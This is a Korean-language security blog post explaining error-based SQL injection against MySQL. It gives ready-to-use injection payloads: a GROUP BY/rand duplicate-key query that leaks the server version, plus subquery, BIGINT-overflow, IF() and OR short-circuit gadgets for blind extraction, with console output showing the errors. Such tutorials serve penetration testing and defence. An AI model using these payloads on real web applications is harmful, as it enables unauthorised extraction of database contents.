Hacking/Web.

MySQL에서의 Error Based Injection에 대한 간단한 고찰

2020. 3. 10. 23:21

현대건설힐스테이트배구단 레프트 고예림

 MySQL에서 가용한 Error Based Attack은 크게 두 분류로 나눌 수 있다. 첫번째는 GROUP BY, POLYGON, EXP, XPATH와 같은 기능을 사용하여 에러메시지에서 쿼리가 실행된 결과값을 extract하는 direct한 방식이고, 두번째는 MySQL의 조건에 따라 무조건 에러가 발생하게 하는 indirect한 방식이다. Direct 방식은 쿼리 한 번으로 특정한 값을 바로 extract할 수 있다는 점이 강력하나, MySQL Server의 버전과 웹 서비스에서의 SQL 에러 출력 유무에 따라 실행 가능 여부가 달라지기 때문에 범용성이 떨어진다는 단점이 있다. 이와 달리 Indirect 방식은 바로 값을 extract 할 수는 없지만 범용성이 뛰어나다는 장점이 있다. 이 글에서는 Indirect method에 대한 정보를 다룰 예정이다.

 

  • Direct Error based SQL Injection : GROUP BY 등의 기능을 사용하여 에러메시지에 값을 바로 출력해줌
  • Indirect Error based SQL Injection : Blind SQL Injection과 비슷한 방법으로 DB값을 extract함

 

mysql> -- Direct method
mysql> select 1 from dual where 1=1 and row(1,1)>(select count(*),concat(version(),floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1);
ERROR 1062 (23000): Duplicate entry '5.7.29-0ubuntu0.18.04.11' for key '<group_key>'

 

Indirect Error based SQL Injection에서 사용할 수 있는 가젯

 

(SELECT 1 UNION SELECT 2)

 

 이 쿼리는 "서브쿼리에서는 2개 이상의 row를 반환할 수 없다"는 규칙에 따라 에러가 나는 쿼리이다. 나는 보통 이 쿼리를 가장 많이 쓴다. 해당 포스트에서도 1번 쿼리를 이용해서 Indirect 방식의 다양한 사용 및 변형의 예를 소개하도록 하겠다.

 

9*~(SELECT*FROM(SELECT@@VERSION)f)

 

 이 쿼리는 64비트 정수 자료형인 BIGINT의 범위를 초과시켜 오버플로우 에러를 발생시킨다. 굳이 위의 쿼리가 아니더라도 MySQL에서 처리 가능한 BIGINT의 자료형의 범위를 초과시키면 에러가 뜨는데 이를 이용하면 된다.

 

mysql> select 1=1 || 9999999999999999999999999999999*999999999999999999999999999999999999999999999999999999999;
+----------------------------------------------------------------------------------------------+
| 1 || 9999999999999999999999999999999*999999999999999999999999999999999999999999999999999999999 |
+----------------------------------------------------------------------------------------------+
|                                                                                            1 |
+----------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select 1=0 || 9999999999999999999999999999999*999999999999999999999999999999999999999999999999999999999;
ERROR 1690 (22003): DECIMAL value is out of range in '(9999999999999999999999999999999 * 999999999999999999999999999999999999999999999999999999999)'

 

Indirect Error based SQL Injection의 Blind attack 연계

IF statement의 연계

IF([CONDITION],true-part,false-part)

 

IF statement에서는 위와 같은 활용하기 때문에 Error based 방식으로 다음과 같이 활용할 수 있다. 

 

IF(1=1,(SELECT 1 UNION SELECT 2),0)
// ERROR 1242 (21000): Subquery returns more than 1 row

 

 조건문 안에 원하는 쿼리를 적절히 넣으면 Blind SQL Injection이 가능하다. 

 

SUBQUERY 규칙의 연계

 아까 소개했다시피, Sub-query에서는 2개 이상의 row를 반환할 수 없기 때문에 다음과 같은 방법 또한 활용 가능하다.

 

SELECT (SELECT [CONDITION] UNION SELECT 1)

 

 위의 방법을 사용하면 [CONDITION]이 True를 반환하면 에러가 생기지 않는 반면, False를 반환하면 에러가 생기게 된다. 이런 식으로 Blind SQL Injection의 연계가 가능하다.

 

OR Operating Trick의 연계

 다른 프로그래밍 언어에서와 마찬가지로 MySQL에서는 실행 속도 개선을 목표로 조건절이 무조건 참을 반환함이 확정될 경우 나머지 조건절을 실행하지 않는다. 이건 말보다 실제 쿼리의 실행결과를 보는 것이 이해하기 좋을 것 같다.

 

mysql> select 1=1 || (select 1 union select 2);
+----------------------------------+
| 1=1 || (select 1 union select 2) |
+----------------------------------+
|                                1 |
+----------------------------------+
1 row in set (0.00 sec)

mysql> select 1=0 || (select 1 union select 2);
ERROR 1242 (21000): Subquery returns more than 1 row
mysql> 

 

 OR 연산에서는 비교하는 요소 중 하나라도 참이라면 연산이 참이 되기 때문에 굳이 뒤의 요소를 실행시키지 않아도 1(즉, True)이 반환되는 것이다. 반면 두 번째 쿼리에서는 앞의 조건에서 거짓을 반환했기 때문에 뒤의 조건이 실행된다. 

 

[CONDITION] || (SELECT 1 UNION SELECT 2)

 

결론

 Indirect한 방식에서의 Error based SQL Injection의 주요 포인트는 잠재적으로 에러를 일으킬 수 있는 쿼리를 Payload에 사용하여, 특정 조건일 때 에러를 일으키도록 하면 무궁무진한 활용이 가능하다.